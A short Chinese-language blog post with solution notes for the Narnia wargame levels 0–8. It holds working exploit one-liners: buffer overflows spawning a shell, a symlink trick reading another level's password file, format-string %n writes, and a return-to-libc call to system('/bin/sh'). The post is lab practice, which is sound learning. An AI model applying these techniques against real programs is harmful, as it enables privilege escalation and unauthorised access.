Narnia

Posted by rk700 on July 6, 2014
  • Narnia0
    要改写内容很简单,20个填充字符加上0xdeadbeef,但问题是用perl输入后sh立刻就退出了……后来在网上搜了下,用cat可以读用户输入,然后输出通过管道送到sh那里
    (perl -e 'print "A"x20 . "\xef\xbe\xad\xde"'; cat) | ./narnia0
  • Narnia1
    只需要把shellcode放到环境变量里就可以了,而且inovke bash和sh都可以用
  • Narnia2
    strcpy没检查
  • Narnia3
    ofile是char[],可写,所以我们用很长的ifile覆盖他:
     ln -sf /etc/narnia_pass/narnia4 /tmp/nabla/tmp/nabla/pass/narnia/narnia3 `perl -e 'print "/."x11 . "/tmp/nabla" . "/tmp/nabla/pass"'` 
  • Narnia4
    把环境变量清空了,没关系,shellcode放argv[1]就行
  • Narnia5
    用了snprintf,所以单纯的覆盖是不可能了。但存在format string 不知道为什么,这次用perl的话位置参数不能用,估计是$的转义问题。没办法,是第9个参数,所以前8个也都用了:
    /narnia/narnia5 `perl -e 'print "\x1c\xd7\xff\xff" . "%62x"x8 . "%n"'`
  • Narnia6
    这道题想复杂了,晕…… 首先是发现strcpy可以覆盖函数指针fp的值,于是由此可以跳到我们想要的地方;但还有一个限制,即最高位的byte不能是0xff。这样就只能return to libc了。而且此时的栈顶是一个我们提供的字符串。我想复杂了,想找一个call $eaxjmp $eax的,但后来在网上看,直接用system()就可以了。于是用gdb,print system得到其地址。

    还有一个微妙之处,是先strcpy下面的,再上面的。这样第二次strcpy就可以再覆盖掉第一次的。这点比较重要,因为给system的参数是下面的,而strcpy下面的时后面还会跟上system的地址。于是字符串/bin/sh要在第二次的strcpy写上去

    综上,命令为

    /narnia/narnia6 `perl -e 'print "A"x8 . "\x50\xa2\xe6\xf7"'` "12345678/bin/sh"
  • Narnia7
    和前面的一道题很像,还是snprintf的format string. 另外这里perl的$要用\$来转义。 在确定buffer是第几个参数时,我是用gdb看的,当然可以从代码直接算出来,注意mov %esp, %ebp后又push了两个,所以sub $0xa0, %esp后esp与ebp相距0xa8
  • Narnia8
    这道题是一个byte一个byte地复制,可以修改返回地址。唯一要注意的是,由于src字符串保存在buffer的下方,所以要修改返回地址就必然要经过src,而我们要保证经过时src不变。具体地,先打印出src的地址,然后让src的内容在那个位置等于src的地址

    shellcode放在环境变量里了